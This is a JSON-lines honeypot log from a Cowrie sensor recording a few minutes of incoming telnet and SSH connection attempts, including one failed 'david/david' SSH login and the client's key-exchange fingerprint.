{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":41322,"dst_ip":"10.17.0.5","dst_port":23,"session":"7091ee8f322e","protocol":"telnet","message":"New connection: 165.232.131.181:41322 (10.17.0.5:23) [session: 7091ee8f322e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:01:56.664963Z"}
{"eventid":"cowrie.session.closed","duration":43.792685747146606,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:01:57.496676Z","src_ip":"165.232.131.181","session":"7c5254c2f739","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.541534662246704,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:01:58.304433Z","src_ip":"65.60.27.33","session":"744de4504259","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":59348,"dst_ip":"10.17.0.5","dst_port":23,"session":"3918eca24c4f","protocol":"telnet","message":"New connection: 62.210.97.77:59348 (10.17.0.5:23) [session: 3918eca24c4f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:01:58.767087Z"}
{"eventid":"cowrie.session.closed","duration":3.7914891242980957,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:01:59.419625Z","src_ip":"165.232.131.181","session":"b608486ea24e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":59508,"dst_ip":"10.17.0.5","dst_port":23,"session":"458574dffa6e","protocol":"telnet","message":"New connection: 165.232.131.181:59508 (10.17.0.5:23) [session: 458574dffa6e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:01:59.935338Z"}
{"eventid":"cowrie.session.closed","duration":0.005110502243041992,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:01:59.940341Z","src_ip":"165.232.131.181","session":"458574dffa6e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.56345868110657,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:02:00.524645Z","src_ip":"62.210.97.77","session":"921ab160403e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":59358,"dst_ip":"10.17.0.5","dst_port":23,"session":"e9c6581752b4","protocol":"telnet","message":"New connection: 62.210.97.77:59358 (10.17.0.5:23) [session: e9c6581752b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:02:01.873841Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":44410,"dst_ip":"10.17.0.5","dst_port":23,"session":"d4984417cc2a","protocol":"telnet","message":"New connection: 165.232.131.181:44410 (10.17.0.5:23) [session: d4984417cc2a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:02:03.344523Z"}
{"eventid":"cowrie.session.closed","duration":33.01134467124939,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:02:07.111802Z","src_ip":"62.210.97.77","session":"72b3bd978653","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.14970874786377,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:02:07.190644Z","src_ip":"165.232.131.181","session":"6dd82cde9235","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":59366,"dst_ip":"10.17.0.5","dst_port":23,"session":"a52958848d11","protocol":"telnet","message":"New connection: 62.210.97.77:59366 (10.17.0.5:23) [session: a52958848d11]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:02:07.493230Z"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":50608,"dst_ip":"10.17.0.5","dst_port":23,"session":"c5edde5d881e","protocol":"telnet","message":"New connection: 65.60.27.33:50608 (10.17.0.5:23) [session: c5edde5d881e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:02:07.746721Z"}
{"eventid":"cowrie.session.closed","duration":35.32444620132446,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:02:08.627814Z","src_ip":"62.210.97.77","session":"c44ec578de48","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.826698303222656,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:02:08.800766Z","src_ip":"62.210.97.77","session":"cffd231bdee1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":47692,"dst_ip":"10.17.0.5","dst_port":23,"session":"5e69534b264c","protocol":"telnet","message":"New connection: 62.210.97.77:47692 (10.17.0.5:23) [session: 5e69534b264c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:02:09.001268Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":46666,"dst_ip":"10.17.0.5","dst_port":23,"session":"4c36c7bdc649","protocol":"telnet","message":"New connection: 165.232.131.181:46666 (10.17.0.5:23) [session: 4c36c7bdc649]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:02:09.282655Z"}
{"eventid":"cowrie.session.closed","duration":35.39756393432617,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:02:11.390212Z","src_ip":"62.210.97.77","session":"a7a7445337e3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.84381413459778,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:02:12.059263Z","src_ip":"62.210.97.77","session":"004b1ab0b41b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":47704,"dst_ip":"10.17.0.5","dst_port":23,"session":"e470ef16cac5","protocol":"telnet","message":"New connection: 62.210.97.77:47704 (10.17.0.5:23) [session: e470ef16cac5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:02:12.295004Z"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":56572,"dst_ip":"10.17.0.5","dst_port":23,"session":"a7f19951fc6f","protocol":"telnet","message":"New connection: 65.60.27.33:56572 (10.17.0.5:23) [session: a7f19951fc6f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:02:13.057547Z"}
{"eventid":"cowrie.session.closed","duration":47.909510374069214,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:02:13.114367Z","src_ip":"38.54.119.93","session":"80f8360e6302","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.2732720375061,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:02:13.407028Z","src_ip":"165.232.131.181","session":"ffcdc0ceaef6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.918076276779175,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:02:13.548373Z","src_ip":"62.210.97.77","session":"e3c2bf0fea35","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.29833483695984,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:02:14.697362Z","src_ip":"62.210.97.77","session":"fcaee691c953","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.66512727737427,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:02:15.108269Z","src_ip":"62.210.97.77","session":"d84073be5437","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.57429552078247,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:02:15.247508Z","src_ip":"62.210.97.77","session":"f8c4304de6e9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":47716,"dst_ip":"10.17.0.5","dst_port":23,"session":"f89331e2533a","protocol":"telnet","message":"New connection: 62.210.97.77:47716 (10.17.0.5:23) [session: f89331e2533a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:02:15.536996Z"}
{"eventid":"cowrie.session.closed","duration":2.7041776180267334,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:02:15.761590Z","src_ip":"65.60.27.33","session":"a7f19951fc6f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":47724,"dst_ip":"10.17.0.5","dst_port":23,"session":"2563b2ef28d6","protocol":"telnet","message":"New connection: 62.210.97.77:47724 (10.17.0.5:23) [session: 2563b2ef28d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:02:16.170667Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":46670,"dst_ip":"10.17.0.5","dst_port":23,"session":"59547307ee5d","protocol":"telnet","message":"New connection: 165.232.131.181:46670 (10.17.0.5:23) [session: 59547307ee5d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:02:16.453725Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":49440,"dst_ip":"10.17.0.5","dst_port":23,"session":"8143c5b77e94","protocol":"telnet","message":"New connection: 165.232.131.181:49440 (10.17.0.5:23) [session: 8143c5b77e94]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:02:16.544690Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":50000,"dst_ip":"10.17.0.5","dst_port":23,"session":"4f3573793e5e","protocol":"telnet","message":"New connection: 165.232.131.181:50000 (10.17.0.5:23) [session: 4f3573793e5e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:02:17.759143Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":49122,"dst_ip":"10.17.0.5","dst_port":23,"session":"cbf8c6c5086c","protocol":"telnet","message":"New connection: 165.232.131.181:49122 (10.17.0.5:23) [session: cbf8c6c5086c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:02:18.677458Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":49552,"dst_ip":"10.17.0.5","dst_port":23,"session":"63909310b4f4","protocol":"telnet","message":"New connection: 165.232.131.181:49552 (10.17.0.5:23) [session: 63909310b4f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:02:18.827199Z"}
{"eventid":"cowrie.session.closed","duration":41.72693610191345,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:02:18.840507Z","src_ip":"65.60.27.33","session":"4a444187c224","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":43864,"dst_ip":"10.17.0.5","dst_port":23,"session":"c3438c7b4c35","protocol":"telnet","message":"New connection: 38.54.119.93:43864 (10.17.0.5:23) [session: c3438c7b4c35]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:02:21.335256Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":36810,"dst_ip":"10.17.0.5","dst_port":23,"session":"4d2cdfb16a4c","protocol":"telnet","message":"New connection: 62.210.97.77:36810 (10.17.0.5:23) [session: 4d2cdfb16a4c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:02:21.645049Z"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":38552,"dst_ip":"10.17.0.5","dst_port":23,"session":"7f2179a29f05","protocol":"telnet","message":"New connection: 65.60.27.33:38552 (10.17.0.5:23) [session: 7f2179a29f05]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:02:21.650327Z"}
{"eventid":"cowrie.session.closed","duration":35.64526176452637,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:02:21.833672Z","src_ip":"62.210.97.77","session":"ec6c2c069593","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":6.4931182861328125,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:02:23.037683Z","src_ip":"165.232.131.181","session":"8143c5b77e94","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.740188598632812,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:02:25.915748Z","src_ip":"165.232.131.181","session":"0cb1274468f9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":53250,"dst_ip":"10.17.0.5","dst_port":23,"session":"c9220c22ad14","protocol":"telnet","message":"New connection: 165.232.131.181:53250 (10.17.0.5:23) [session: c9220c22ad14]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:02:26.005019Z"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":44250,"dst_ip":"10.17.0.5","dst_port":23,"session":"f1391e9ba8f3","protocol":"telnet","message":"New connection: 65.60.27.33:44250 (10.17.0.5:23) [session: f1391e9ba8f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:02:26.659021Z"}
{"eventid":"cowrie.session.closed","duration":34.10480546951294,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:02:27.351301Z","src_ip":"62.210.97.77","session":"267b5718d0b2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":48.804940938949585,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:02:28.145004Z","src_ip":"165.232.131.181","session":"a66434de562e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.993499994277954,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:02:28.684713Z","src_ip":"62.210.97.77","session":"57621883f3ab","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":54134,"dst_ip":"10.17.0.5","dst_port":23,"session":"6a999f4fb0e2","protocol":"telnet","message":"New connection: 165.232.131.181:54134 (10.17.0.5:23) [session: 6a999f4fb0e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:02:32.349109Z"}
{"eventid":"cowrie.session.closed","duration":34.57155895233154,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:02:33.338521Z","src_ip":"62.210.97.77","session":"3918eca24c4f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":54558,"dst_ip":"10.17.0.5","dst_port":23,"session":"e2c1c8be15db","protocol":"telnet","message":"New connection: 165.232.131.181:54558 (10.17.0.5:23) [session: e2c1c8be15db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:02:33.373209Z"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":53568,"dst_ip":"10.17.0.5","dst_port":23,"session":"96ae892717e8","protocol":"telnet","message":"New connection: 65.60.27.33:53568 (10.17.0.5:23) [session: 96ae892717e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:02:34.524452Z"}
{"eventid":"cowrie.session.closed","duration":1.2436683177947998,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:02:34.616746Z","src_ip":"165.232.131.181","session":"e2c1c8be15db","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":49.03013825416565,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:02:35.718291Z","src_ip":"165.232.131.181","session":"45e7b0d2f018","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":57066,"dst_ip":"10.17.0.5","dst_port":23,"session":"e9e6b425e33e","protocol":"telnet","message":"New connection: 165.232.131.181:57066 (10.17.0.5:23) [session: e9e6b425e33e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:02:35.762545Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":58730,"dst_ip":"10.17.0.5","dst_port":23,"session":"4e3d8af0cce7","protocol":"telnet","message":"New connection: 62.210.97.77:58730 (10.17.0.5:23) [session: 4e3d8af0cce7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:02:36.344189Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":57024,"dst_ip":"10.17.0.5","dst_port":23,"session":"d771538ec00e","protocol":"telnet","message":"New connection: 165.232.131.181:57024 (10.17.0.5:23) [session: d771538ec00e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:02:36.646579Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":58740,"dst_ip":"10.17.0.5","dst_port":23,"session":"d8cba2c056ff","protocol":"telnet","message":"New connection: 62.210.97.77:58740 (10.17.0.5:23) [session: d8cba2c056ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:02:37.812090Z"}
{"eventid":"cowrie.session.closed","duration":36.45904731750488,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:02:38.332746Z","src_ip":"62.210.97.77","session":"e9c6581752b4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":53416,"dst_ip":"10.17.0.5","dst_port":23,"session":"199b4ac5d098","protocol":"telnet","message":"New connection: 62.210.97.77:53416 (10.17.0.5:23) [session: 199b4ac5d098]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:02:39.675779Z"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.21.145","src_port":58772,"dst_ip":"159.203.135.109","dst_port":22,"session":"b30dc13a367c","protocol":"ssh","message":"New connection: 141.11.21.145:58772 (159.203.135.109:22) [session: b30dc13a367c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:02:40.228315Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":54942,"dst_ip":"10.17.0.5","dst_port":23,"session":"88137a56a6a0","protocol":"telnet","message":"New connection: 165.232.131.181:54942 (10.17.0.5:23) [session: 88137a56a6a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:02:40.267265Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:02:40.313983Z","src_ip":"141.11.21.145","session":"b30dc13a367c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.21.145","src_port":58774,"dst_ip":"159.203.135.109","dst_port":22,"session":"047acaabffcf","protocol":"ssh","message":"New connection: 141.11.21.145:58774 (159.203.135.109:22) [session: 047acaabffcf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:02:40.398463Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:02:40.402730Z","src_ip":"141.11.21.145","session":"047acaabffcf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:02:40.485989Z","src_ip":"141.11.21.145","session":"047acaabffcf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"david","password":"david","message":"login attempt [david/david] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:02:40.735166Z","src_ip":"141.11.21.145","session":"047acaabffcf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:02:41.822584Z","src_ip":"141.11.21.145","session":"047acaabffcf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":53420,"dst_ip":"10.17.0.5","dst_port":23,"session":"08be15b29838","protocol":"telnet","message":"New connection: 62.210.97.77:53420 (10.17.0.5:23) [session: 08be15b29838]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:02:42.019673Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":53428,"dst_ip":"10.17.0.5","dst_port":23,"session":"35b217265bde","protocol":"telnet","message":"New connection: 62.210.97.77:53428 (10.17.0.5:23) [session: 35b217265bde]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:02:42.227154Z"}
{"eventid":"cowrie.session.closed","duration":46.446889877319336,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:02:43.111728Z","src_ip":"165.232.131.181","session":"7091ee8f322e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.13545346260071,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:02:43.136592Z","src_ip":"62.210.97.77","session":"5e69534b264c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.75098156929016,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:02:43.244081Z","src_ip":"62.210.97.77","session":"a52958848d11","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":53444,"dst_ip":"10.17.0.5","dst_port":23,"session":"e7595572e545","protocol":"telnet","message":"New connection: 62.210.97.77:53444 (10.17.0.5:23) [session: e7595572e545]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:02:44.196220Z"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":39170,"dst_ip":"10.17.0.5","dst_port":23,"session":"dbc7b483b47c","protocol":"telnet","message":"New connection: 65.60.27.33:39170 (10.17.0.5:23) [session: dbc7b483b47c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:02:46.604924Z"}
{"eventid":"cowrie.session.closed","duration":43.437851667404175,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:02:46.782273Z","src_ip":"165.232.131.181","session":"d4984417cc2a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":39324,"dst_ip":"10.17.0.5","dst_port":23,"session":"1077a5d54c72","protocol":"telnet","message":"New connection: 65.60.27.33:39324 (10.17.0.5:23) [session: 1077a5d54c72]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:02:46.787021Z"}
